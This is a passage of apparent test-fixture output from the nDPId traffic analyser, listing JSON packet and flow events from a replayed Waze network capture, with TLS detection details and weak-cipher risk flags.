exK1dxevby2DBOR6oEVH5xaj\/mJtqWJgxdIEkXZpBUJQ+7+z49hVrdI="} +00422{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":548,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587898,"pkt_ts_usec":627227,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABoRAAACABoRAAABCABFAAA0MsdAAEAGQtkKECWdriXnUaUQFGaA18o9WhY9doARAVd\/BwAAAQEICgAId7tBJdw4"} +00407{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":549,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587898,"pkt_ts_usec":627730,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodXlAABAGMDOuJedRChAlnRRmpRBaFj12gNfKPlAQ\/\/9OlwAA"} +00407{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":550,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587898,"pkt_ts_usec":628143,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodXpAABAGMDKuJedRChAlnRRmpRBaFj12gNfKPlAR\/\/9OlgAA"} +00423{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":551,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587898,"pkt_ts_usec":628291,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABoRAAACABoRAAABCABFAAA0MshAAEAGQtgKECWdriXnUaUQFGaA18o+WhY9d4AQAVd\/BgAAAQEICgAId7tBJdw4"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":552,"source":"waze.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1435587898822,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"108.168.176.228","src_port":50828,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":552,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587898,"pkt_ts_usec":822469,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8qMZAAEAGamAKCAABbKiw5MaMAbuJft8IAAAAAKAC\/\/93xAAAAgQFtAQCCAoACHfOAAAAAAEDAwg="} +00409{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":553,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587898,"pkt_ts_usec":824110,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodXtAABAGzb9sqLDkCggAAQG7xox2gSD3iX7fCVAS\/\/+\/9AAA"} +00409{"flow_id":32,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":554,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587898,"pkt_ts_usec":824326,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoqMdAAEAGanMKCAABbKiw5MaMAbuJft8JdoEg+FAQ\/\/+\/9QAA"} +00638{"flow_id":32,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":555,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587898,"pkt_ts_usec":874744,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"ABoRAAACABoRAAABCABFAADQqMhAAEAGacoKCAABbKiw5MaMAbuJft8JdoEg+FAY\/\/8CgQAAV0EBBQAAGPgFAaWRifwQQW5kcm9pZC0yLjEyLjEyNAAAGfgCnPgE+AH8B3ByaXZhY3n4AYD4AUD4AXgAAGr4Bgy1\/4dVEZgRUAWfVr\/8WSPpm+qUrf9vBeH3C9lpBHYwAtjIwdtR7rFoy80viKanvIJlKfhUF50Xw54Ypb27n9\/PUPqe683YGcBZ4ZxhcQwGc4ldWiNEIpWFWrf05AEiHdzPQ0G9fY7P"} +00409{"flow_id":32,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":556,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587898,"pkt_ts_usec":875014,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodXxAABAGzb5sqLDkCggAAQG7xox2gSD4iX7fsVAQ\/\/+\/TQAA"} +00515{"flow_id":32,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":557,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587899,"pkt_ts_usec":113724,"pkt_caplen":132,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":132,"pkt_l4_len":98,"pkt":"ABoRAAACABoRAAABCABFAAB2dX1AABAGzW9sqLDkCggAAQG7xox2gSD4iX7fsVAY\/\/\/rmgAAAAAF+AMBOpEAAAP4AZyAAD0fEaLTWzYXLsvR2EIWPSd+QT1rF7j7mPtsFRrXulAcsNpnj9uxCX1HwIiBP2G6B4VrEysb+BC+GXb5y4r5"} +00409{"flow_id":32,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":558,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587899,"pkt_ts_usec":164313,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoqMlAAEAGanEKCAABbKiw5MaMAbuJft+xdoEhRlAQ\/\/++\/wAA"} +00448{"flow_id":32,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":559,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587899,"pkt_ts_usec":164488,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"ABoRAAACABoRAAABCABFAABGqMpAAEAGalIKCAABbKiw5MaMAbuJft+xdoEhRlAY\/\/+k0QAAgAAbY7sI0qPcmlq2EiNAgFpx6B9k041mkSu+3+Is"} +00408{"flow_id":32,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":560,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587899,"pkt_ts_usec":164759,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodX5AABAGzbxsqLDkCggAAQG7xox2gSFGiX7fz1AQ\/\/++4QAA"} +00444{"flow_id":32,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":561,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587899,"pkt_ts_usec":165504,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"ABoRAAACABoRAAABCABFAAA\/qMtAAEAGalgKCAABbKiw5MaMAbuJft\/PdoEhRlAY\/\/\/SwgAAgAAUapYHVSsr8tEQzIUSuIS+8QylVXU="} +00409{"flow_id":32,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":562,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587899,"pkt_ts_usec":165749,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodX9AABAGzbtsqLDkCggAAQG7xox2gSFGiX7f5lAQ\/\/++ygAA"} +00437{"flow_id":32,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":563,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587899,"pkt_ts_usec":174995,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"ABoRAAACABoRAAABCABFAAA9dYBAABAGzaVsqLDkCggAAQG7xox2gSFGiX7f5lAY\/\/9dAAAAgAASBictEHhjgQm91YLcjt8g+Y+g"} +00410{"flow_id":32,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":564,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587899,"pkt_ts_usec":229685,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoqMxAAEAGam4KCAABbKiw5MaMAbuJft\/mdoEhW1AQ\/\/++tQAA"} +00673{"flow_id":32,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":565,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587899,"pkt_ts_usec":318080,"pkt_caplen":245,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":245,"pkt_l4_len":211,"pkt":"ABoRAAACABoRAAABCABFAADndYFAABAGzPpsqLDkCggAAQG7xox2gSFbiX7f5lAY\/\/\/bEwAAgAC8ZsshsEYVPNm3QpKvHHqYG5xP2x2\/5U\/+xIQXT32Ja3Fc+bWQg+v1g4OP2u6+xEObvhBr9OCT3nT5iGsDuCAwFusyPBCSH+QEnbMZp9MI2ffSAIJg4eG0z9h233DLB0Akp5\/XqI7bocb1GaMFO5+XiyatVpSIkTb+GKsHGe5Z0dT+Jq416QtuL8H82YJNuTzIgGGg+vCfhwgHApn\/WL7K5pRtb3hdL9ZyxaFK5UX0YNRiWlRpFI6mzT1hU2s="} +00410{"flow_id":32,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":566,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587899,"pkt_ts_usec":372457,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoqM1AAEAGam0KCAABbKiw5MaMAbuJft\/mdoEiGlAQ\/\/+99gAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":575,"source":"waze.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1435587905035,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"46.51.173.182","src_port":36137,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":575,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587905,"pkt_ts_usec":35020,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA82iNAAEAGeqYKCAABLjOtto0pAbvwXaAfAAAAAKAC\/\/\/IZgAAAgQFtAQCCAoACHo8AAAAAAEDAwg="} +00408{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":576,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587905,"pkt_ts_usec":38374,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodYZAABAGD1guM622CggAAQG7jSkPol\/g8F2gIFAS\/\/86+wAA"} +00408{"flow_id":33,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":577,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587905,"pkt_ts_usec":39092,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo2iRAAEAGerkKCAABLjOtto0pAbvwXaAgD6Jf4VAQ\/\/86\/AAA"} +00657{"flow_id":33,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":578,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587905,"pkt_ts_usec":111264,"pkt_caplen":236,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":236,"pkt_l4_len":202,"pkt":"ABoRAAACABoRAAABCABFAADe2iVAAEAGegIKCAABLjOtto0pAbvwXaAgD6Jf4VAY\/\/\/tNgAAFgMBALEBAACtAwGvtEh7ZPeUuZEpuZqGf1gkt94wLOoQqmQjq2yZ1wt58QAAQMAUwArAIsAhADkAOMAgwA\/ABQA1wBLACMAcwBsAFgATwBrADcADAAoABcATwAnAH8AeADMAMsAdwA7ABAAvAP8BAABEAAsABAMAAQIACgA0ADIADgANABkACwAMABgACQAKABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQAjAAA="} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":578,"source":"waze.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":4,"flow_first_seen":1435587905035,"flow_last_seen":1435587905111,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":20,"flow_max_l4_data_len":202,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"46.51.173.182","src_port":36137,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":33,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":579,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587905,"pkt_ts_usec":111789,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodYdAABAGD1cuM622CggAAQG7jSkPol\/h8F2g1lAQ\/\/86RgAA"} +01780{"flow_id":33,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":580,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587905,"pkt_ts_usec":510433,"pkt_caplen":1066,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1066,"pkt_l4_len":1032,"pkt":"ABoRAAACABoRAAABCABFAAQcdYhAABAGC2IuM622CggAAQG7jSkPol\/h8F2g1lAY\/\/9aVgAAFgMBADUCAAAxAwFeJ1mZ10BwchLB7kIbnu2IqTwfkvokm8Y\/9DBPzYFJ+AAANQAACf8BAAEAACMAABYDAQwDCwAL\/wAL\/AAEfjCCBHowggNioAMCAQICCHZ4M8fShJA1MA0GCSqGSIb3DQEBBQUAMEkxCzAJBgNVBAYTAlVTMRMwEQYDVQQKEwpHb29nbGUgSW5jMSUwIwYDVQQDExxHb29nbGUgSW50ZXJuZXQgQXV0aG9yaXR5IEcyMB4XDTE0MTEwNjE2MDkyMFoXDTE1MTEwNjE2MDkyMFowajELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDU1vdW50YWluIFZpZXcxEzARBgNVBAoMCkdvb2dsZSBJbmMxGTAXBgNVBAMMECoud29ybGQud2F6ZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC5dfWK79dCVb2w7\/g3HRrN4i9qgMlhgQofXQQXw0gD87T9syXmF5pz0Cwmmw7pjObFe\/feCHhP5Q5TYPxHvQFVRms3bi3u+ghHQQErMDQ+nN0nE87Jr74s0kO4gi5kxlnWO5u\/CLx56XE08DG89cYwLep2yXaw7FpQ88oYQg1iuiHwkbjtoRpijShFrwII4yGENpw3VHkb6Fx\/gAEFaQxZm6zeckwQ1HY64ImqtGYTIGt4mDB1FJaTUZwduWO6oPZLB\/Kr54+3jOco4hPhs\/aZ7TMra\/18qq1rDcwobkr4\/HCy6N0TGrQ6Dyn4sPpnwba++QjAmdGfjGSZmIvFi42lAgMBAAGjggFDMIIBPzAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwGwYDVR0RBBQwEoIQKi53b3JsZC53YXplLmNvbTBoBggrBgEFBQcBAQRcMFowKwYIKwYBBQUHMAKGH2h0dHA6Ly9wa2kuZ29vZ2xlLmNvbS9HSUFHMi5jcnQwKwYIKwYBBQUHMAGGH2h0dHA6Ly9jbGllbnRzMS5nb29nbGUuY29tL29jc3AwHQYDVR0OBBYEFNZsbyCbuRAq04t6Ot9dGm1t3uVoMAwGA1UdEwEB\/wQCMAAwHwYDVR0jBBgwFoAUSt0GFhu89mi1dvWBtrtiGrpagS8wFwYDVR0gBBAwDjAMBgorBgEEAdZ5AgUBMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9wa2kuZ29vZ2xlLmNvbS9HSUFHMi5jcmwwDQYJKoZIhvcNAQEFBQADggEBAFaY2zopJZdE3mmntQjiL6V0yWpBnkS3\/vdmjvi7m0l8VT3fDFeuTu6nvu5k8w=="} +00801{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":580,"source":"waze.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":6,"flow_first_seen":1435587905035,"flow_last_seen":1435587905510,"flow_tot_l4_data_len":1334,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1032,"flow_avg_l4_data_len":222,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"46.51.173.182","src_port":36137,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"714ac86d50db68420429ca897688f5f3","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA"}} +00408{"flow_id":33,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":581,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587905,"pkt_ts_usec":561592,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo2iZAAEAGercKCAABLjOtto0pAbvwXaDWD6Jj1VAQ\/\/82UgAA"} +03291{"flow_id":33,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":582,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587905,"pkt_ts_usec":565256,"pkt_caplen":2189,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2189,"pkt_l4_len":2155,"pkt":"ABoRAAACABoRAAABCABFAAh\/dYlAABAGBv4uM622CggAAQG7jSkPomPV8F2g1lAY\/\/+UKQAAVcle4OL9BXTWgOB9m5mxXaplXhLzGouaP\/yzxCeZxN4emiYMxJ2NdNfOIWdKSSjcwey5R4Pf4wYLWc99Pl+xmKWW+4UK4Fr0R3BKQthQ6LcyWnduTpOX3i0b1oEKSFL1Vihne5VDxgrHGjZ94IbG96VTGUyce0bVy\/lr\/UQYY\/cZy6i707TNZg8\/R8VCT6E5K482Z2i9e3GHVF7UoogvRRWxcFgmFMx+tytkegF1ydRjmZ6fy1jkp4YAvpGFX7\/avRkjLnVnNHUyRsyOQO7cE54VdAAD9DCCA\/AwggLYoAMCAQICAwI6djANBgkqhkiG9w0BAQUFADBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMB4XDTEzMDQwNTE1MTU1NVoXDTE2MTIzMTIzNTk1OVowSTELMAkGA1UEBhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRlcm5ldCBBdXRob3JpdHkgRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCcKgR3XNhQkToGo4Lg2FBIvIk\/8RlwGohGfuCPxfGJziHuWv5hDbcyRImgdAtTT1WkzoJile7rWV\/G4QWAEsRelD+8W0g49FP3JOb7kekVxM\/0Uw30SvyfVN59vqBrb4fA0FAfKDADQNoIc1Fsf\/86PKc3Bo69SxEE630k3ub5\/DFx+5TVYPMuSq9C0svqxGoassxT3RVLix\/IGWEfzZ2oPmMrhDVpZYTIGcVGIvhTlb7jgEoQxirsupcgEcc5mRAEoPBhepUljE5SdeK27QjKFPzOImqzTs9GA5eXA37Asd57r0Uzz7o+cbfe9CUlwg01iZ2d+w4ReYkeN8WvjnJpAgMBAAGjgecwgeQwHwYDVR0jBBgwFoAUwHqYaI2J+6sFZAwRfap9ZbjKzE4wHQYDVR0OBBYEFErdBhYbvPZotXb1gba7Yhq6WoEvMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgEGMDUGA1UdHwQuMCwwKqAooCaGJGh0dHA6Ly9nLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAuBggrBgEFBQcBAQQiMCAwHgYIKwYBBQUHMAGGEmh0dHA6Ly9nLnN5bWNkLmNvbTAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwDQYJKoZIhvcNAQEFBQADggEBACeMz+nHO77Ab+iWhPucXF2Q5HfbizJgm2XYhSa1up8e3mROH8bIIFsJn6up4Ak0RaJlJTc9f1pvIMz5+vEdjxAMAjrEyQF2lr6b+RXYOdHFA0d2uIqMMdZg1eSP2\/o8xtWYKPgcjxeRNMvLUnrR+zog5OGGsdgYD77Wh2SNxQolQlHvsji44B3Q4fzm9K9Guu\/Av8W0BfWUdQz+or4CuuqGW\/k1s2b1xY2FoRojdxoZF1QTYJ8L4bScKCr5rgI0bSWTnIKoF3vxhbDTD1jh+7H+nKGj6P3JP\/TXcdy9jKQZ4CEjI1UTj6QWAgl+ua\/u21NkvXEvuTnOMLe0vFTgRwcAA4EwggN9MIIC5qADAgECAgMSu+YwDQYJKoZIhvcNAQEFBQAwTjELMAkGA1UEBhMCVVMxEDAOBgNVBAoTB0VxdWlmYXgxLTArBgNVBAsTJEVxdWlmYXggU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eTAeFw0wMjA1MjEwNDAwMDBaFw0xODA4MjEwNDAwMDBaMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDazBhjMP30FyMaVn5b3zxsOORxt3iR1Lyh2Ez4qEO2A+lNIQcIiNpYL2Y5Kb0FeIudOOgFt2p+caTmxGCmsO+A5IkoD54l1u2D862mkceYyUIYNRSdrZhGki5PyvGHQ8EWlVctUO+JLYB6V63y7l9r0gCNuRT4FBU12cBGo3tyyJG\/yVUrzdCXPpwmZMzfzoMZccpO5tTVe6kZzVXeyOzSXjhT5VxPjC3+UCM2\/Gbmy46kORkAt5UCOZELDv44LtEdBZr2TT5vDwcdrywej2A54vo2UxM51F4mK9s9qBS9MusYAyhSBHHlqzM94Ti7BzaEYpx56hYw9F\/AK+hxa+T5AgMBAAGjgfAwge0wHwYDVR0jBBgwFoAUSOZo+SvSspXXR9gjIBBPM5iQn9QwHQYDVR0OBBYEFMB6mGiNifurBWQMEX2qfWW4ysxOMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgEGMDoGA1UdHwQzMDEwL6AtoCuGKWh0dHA6Ly9jcmwuZ2VvdHJ1c3QuY29tL2NybHMvc2VjdXJlY2EuY3JsME4GA1UdIARHMEUwQwYEVR0gADA7MDkGCCsGAQUFBwIBFi1odHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkwDQYJKoZIhvcNAQEFBQADgYEAduESbk5LFhKGMAaygQjP8AjHx3F+Zu7C7dQ7H\/\/w8MhO1kM4sLkwfRjQVYOiass2EZzoSGajbX+4E9RH\/otaXHP8rtkbMhk4q5c0FKqW0uujHBQISba75ZHvgzbrHVZvytq8c2OQ5H97PiLLPQftXzh0nOMDUE6hr5juYfKEPxIWAwEABA4AAAA="} +01059{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":582,"source":"waze.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":8,"flow_first_seen":1435587905035,"flow_last_seen":1435587905565,"flow_tot_l4_data_len":3509,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2155,"flow_avg_l4_data_len":438,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"46.51.173.182","src_port":36137,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Waze","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.world.waze.com","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"714ac86d50db68420429ca897688f5f3","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Google Inc, CN=Google Internet Authority G2","issuerDN":"C=US, ST=California, L=Mountain View, O=Google Inc, CN=*.world.waze.com","fingerprint":"30:50:FA:42:94:E4:1A:34:9B:23:55:CB:7B:F2:0D:76:FA:1C:58:4B"}} +00408{"flow_id":33,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":583,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587905,"pkt_ts_usec":616042,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo2idAAEAGerYKCAABLjOtto0pAbvwXaDWD6JsLFAQ\/\/8t+wAA"} 